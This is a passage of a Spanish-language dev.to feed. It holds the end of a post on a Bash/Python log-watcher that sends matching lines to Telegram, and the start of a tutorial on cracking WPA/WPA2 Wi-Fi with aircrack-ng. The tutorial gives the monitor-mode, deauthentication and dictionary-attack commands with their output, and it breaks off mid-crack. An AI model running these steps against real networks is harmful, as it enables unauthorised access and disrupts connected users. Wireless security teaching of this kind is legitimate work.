&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$text&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then &lt;/span&gt;&lt;span class="nv"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nv"&gt;lines&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="c"&gt;#while inotifywait -q -e modify $file; do&lt;/span&gt;
inotifywait &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; modify &lt;span class="nv"&gt;$file&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;filename event&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do 
    &lt;/span&gt;&lt;span class="nv"&gt;linesNow&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt;&lt;span class="nv"&gt;$linesNow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;$lines&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nv"&gt;$text&lt;/span&gt; | notify.sh
    &lt;span class="nv"&gt;lines&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$linesNow&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Modo de uso:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash hotreader.sh &amp;lt;TEXTFIlE&amp;gt; &amp;lt;PATTERN&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Leer logs DNS:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Herramienta que notifica las consultas DNS realizadas al servidor.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash hotreader.sh /var/log/named/query.log custom-domain.org
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Conclusión
&lt;/h1&gt;

&lt;p&gt;Esta herramienta que creamos prueba la versatilidad y utilidad de un lenguaje como Bash, que en conjunto con una herramienta como BotFather, puede utilizarse para todo tipo de tareas y en varias áreas. El notificador se puede usar para monitorear todo tipo de tareas, por ejemplo, tales como A, B y C. Lo único que se requiere para expandir los límites de la herramienta es tiempo y creatividad.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bash le pone.&lt;/strong&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Bonus track
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Telegram Hot reader&lt;/strong&gt; en &lt;code&gt;Python&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/python3
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os.path&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urllib.request&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt;

&lt;span class="c1"&gt;# sudo pip3 install pyinotify
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pyinotify&lt;/span&gt;


&lt;span class="c1"&gt;# Usage
# python3 notifier.py &amp;lt;TextFile&amp;gt;
&lt;/span&gt;
&lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;

&lt;span class="n"&gt;file_watcher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;count_lines&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tail_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;list2string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msj&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;msj&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;msj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[HotReader]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;TOKEN_BOT&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;chat_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;CHAT_ID&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://api.telegram.org/bot&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/sendMessage&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;chat_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;chat_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[HotReader] &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;msj&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlencode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ascii&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# Example: monitors transient files.
#
# Run this code, then run transient_file.sh in another shell.
&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ProcessTransientFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pyinotify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProcessEvent&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_IN_MODIFY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;
        &lt;span class="c1"&gt;# We have explicitely registered for this kind of event.
&lt;/span&gt;        &lt;span class="c1"&gt;#print('\t', event.pathname, ' -&amp;gt; written')
&lt;/span&gt;        &lt;span class="n"&gt;lines_now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;count_lines&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_watcher&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;modified&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;tail_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_watcher&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lines_now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;list2string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modified&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lines_now&lt;/span&gt;
        &lt;span class="nf"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;list2string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modified&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;


    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_default&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="c1"&gt;# Implicitely IN_CREATE and IN_DELETE are watched too. You can
&lt;/span&gt;        &lt;span class="c1"&gt;# ignore them and provide an empty process_default or you can
&lt;/span&gt;        &lt;span class="c1"&gt;# process them, either with process_default or their dedicated
&lt;/span&gt;        &lt;span class="c1"&gt;# method (process_IN_CREATE, process_IN_DELETE) which would
&lt;/span&gt;        &lt;span class="c1"&gt;# override process_default.
&lt;/span&gt;        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;default: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maskname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;count_lines&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_watcher&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;wm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pyinotify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;WatchManager&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;notifier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pyinotify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Notifier&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wm&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# In this case you must give the class object (ProcessTransientFile)
# as last parameter not a class instance.
&lt;/span&gt;&lt;span class="n"&gt;wm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;watch_transient_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_watcher&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pyinotify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IN_MODIFY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ProcessTransientFile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;notifier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>telegram</category>
      <category>bash</category>
      <category>python</category>
      <category>notificador</category>
    </item>
    <item>
      <title>Hacking Wi-Fi 3: Crackeando WPA/WPA2 con aircrack-ng</title>
      <dc:creator>Vay3t</dc:creator>
      <pubDate>Sat, 19 Aug 2023 18:00:00 +0000</pubDate>
      <link>https://dev.to/vay3t/hacking-wi-fi-3-crackeando-wpawpa2-con-aircrack-ng-2po</link>
      <guid>https://dev.to/vay3t/hacking-wi-fi-3-crackeando-wpawpa2-con-aircrack-ng-2po</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0iy1I-KE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eg4sww9c6c014alw8zlz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0iy1I-KE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eg4sww9c6c014alw8zlz.png" alt="Image description" width="226" height="110"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Crackeando contraseñas WPA/WPA2 con &lt;code&gt;aircrack-ng&lt;/code&gt; usando fuerza bruta.&lt;/p&gt;

&lt;h1&gt;
  
  
  ¿Qué es WPA/WPA2?
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;Wi-Fi Protected Access&lt;/code&gt; es un sistema de cifrado que apareció para corregir las vulnerabilidades de la &lt;code&gt;WEP&lt;/code&gt;, fue diseñado para usar un servidor de autenticación (RADIUS) que distribuye claves diferentes a cada usuario. Pero también se puede usar en una forma menos segura una contraseña precompartida, donde distintos usuarios pueden usar la misma para poder autenticarse.&lt;/p&gt;

&lt;h1&gt;
  
  
  Crackeando WPA/WPA2
&lt;/h1&gt;

&lt;p&gt;El crackeo de la &lt;code&gt;WPA/WPA2&lt;/code&gt; consta de 4 pasos, el primero es colocar la tarjeta en modo monitor, el segundo es seleccionar el router de la víctima que tenga algún cliente conectado, el tercero es capturar el tráfico generado por el router víctima mientras se hace un ataque de desautenticación al cliente conectado, esperamos a que el cliente se vuelva a conectar otra ves para capturarle el &lt;code&gt;handshake&lt;/code&gt; (el &lt;code&gt;handshake&lt;/code&gt; es lo que nos sirve para poder romper la contraseña) y el último paso es usar &lt;code&gt;aircrack-ng&lt;/code&gt; y un diccionario (lista de contraseñas posibles en formato txt) para poder romper la contraseña. Actualmente es la más usada.&lt;/p&gt;

&lt;h2&gt;
  
  
  Colocando la tarjeta en modo monitor
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng start wlan1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Seleccionando una víctima
&lt;/h2&gt;

&lt;p&gt;Cuando usamos el siguiente comando &lt;code&gt;airodump-ng wlan1mon&lt;/code&gt; lo que hacemos es usar la tarjeta en modo monitor para poder identificar las redes Wifi existentes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
root@vay3t:~# airodump-ng wlan1mon 

 CH  5 ][ Elapsed: 0 s ][ 2017-10-30 18:22

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63  -33        2        0    0   6  54   WPA2 CCMP   PSK  c1sc0
 C0:05:C2:C2:04:B1  -71        2        0    0   7  54e. WPA2 CCMP   PSK  Movistar

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63   30:A8:DB:F1:66:82  -30    0 - 1      0        3  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nos damos cuenta de que el router &lt;code&gt;c1sc0&lt;/code&gt; tiene &lt;code&gt;ENC&lt;/code&gt; &lt;code&gt;WPA2&lt;/code&gt; con un cliente conectado lo que significa que nos interesa.&lt;/p&gt;

&lt;h2&gt;
  
  
  Capturando el handshake
&lt;/h2&gt;

&lt;p&gt;Ya que hemos seleccionado nuestra víctima tenemos que capturar mientras realizamos el ataque de desautenticación con &lt;code&gt;aireplay-ng&lt;/code&gt; para poder capturar el handshake&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w outout

 CH  6 ][ Elapsed: 2 mins ][ 2017-10-30 18:28 ]

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63   -6 100        0        0    0   6  54   WPA2 CCMP   PSK  c1sc0

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63  30:A8:DB:F1:66:82    0    1 - 1     0         0  c1sc0 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mientras tenemos &lt;code&gt;airodump-ng&lt;/code&gt; corriendo usaremos otra ventana para poder realizar el ataque de desautenticación. Lo que hace el ataque de desautenticación es botar al cliente para que vuelva a ingresar al router y de esa forma capturar el &lt;code&gt;handshake&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# aireplay-ng wlan1mon -0 4 -a C0:56:27:DD:4F:63 -c 30:A8:DB:F1:66:82
18:27:56  Waiting for beacon frame (BSSID: C0:56:27:DD:4F:63) on channel 6
18:27:57  Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|60 ACKs]
18:27:58  Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|59 ACKs]
18:27:58  Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|69 ACKs]
18:27:59  Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 6|51 ACKs]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-0 4&lt;/code&gt;: También usado como &lt;code&gt;--deauth 4&lt;/code&gt; lo que hace es seleccionar el ataque deauth y enviar 4 paquetes con este ataque para poder botar al cliente&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-a C0:56:27:DD:4F:63&lt;/code&gt;: Se usa para poder especificar el router víctima&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-c 30:A8:DB:F1:66:82&lt;/code&gt;: Se utiliza para poder especificar al cliente a quien vamos a botar&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Este ataque se hace cuantas veces sea necesario hasta capturar el handshake. Luego de un rato nos damos cuenta que aparece esto en la ventana del &lt;code&gt;airodump-ng&lt;/code&gt;: &lt;code&gt;[ WPA handshake: C0:56:27:DD:4F:63&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w outout

 CH  6 ][ Elapsed: 2 mins ][ 2017-10-30 18:28 ][ WPA handshake: C0:56:27:DD:4F:63

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63   -6 100     1154      290    0   6  54   WPA2 CCMP   PSK  c1sc0

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63  30:A8:DB:F1:66:82    0    1 - 1   3518    14635  c1sc0 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Crackeando con aircrack-ng
&lt;/h2&gt;

&lt;p&gt;Después de haber capturado el &lt;code&gt;handshake&lt;/code&gt; lo que haremos ahora es usar fuerza bruta para poder romper la contraseña. Para eso necesitamos descargar un diccionario, uno genérico que recomiendo mucho es &lt;code&gt;rockyou.txt&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
bzip2 &lt;span class="nt"&gt;-d&lt;/span&gt; rockyou.txt.bz2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ahora que tenemos el diccionario usamos &lt;code&gt;aircrack-ng&lt;/code&gt; donde con &lt;code&gt;-w rockyou.txt&lt;/code&gt; especificamos la ruta del diccionario y luego colocamos el nombre que le hemos puesto a la captura de &lt;code&gt;airodump-ng&lt;/code&gt; agregando un &lt;code&gt;-01.cap&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@vay3t:~# aircrack-ng -w rockyou.txt outout-01.cap
Opening outout-01.cap
Read 38818 packets.

   #  BSSID              ESSID                     Encryption

   1  C0:56:27:DD:4F:63  c1sc0                     WPA (1 handshake)

Choosing first network as target.

Opening outout-01.cap
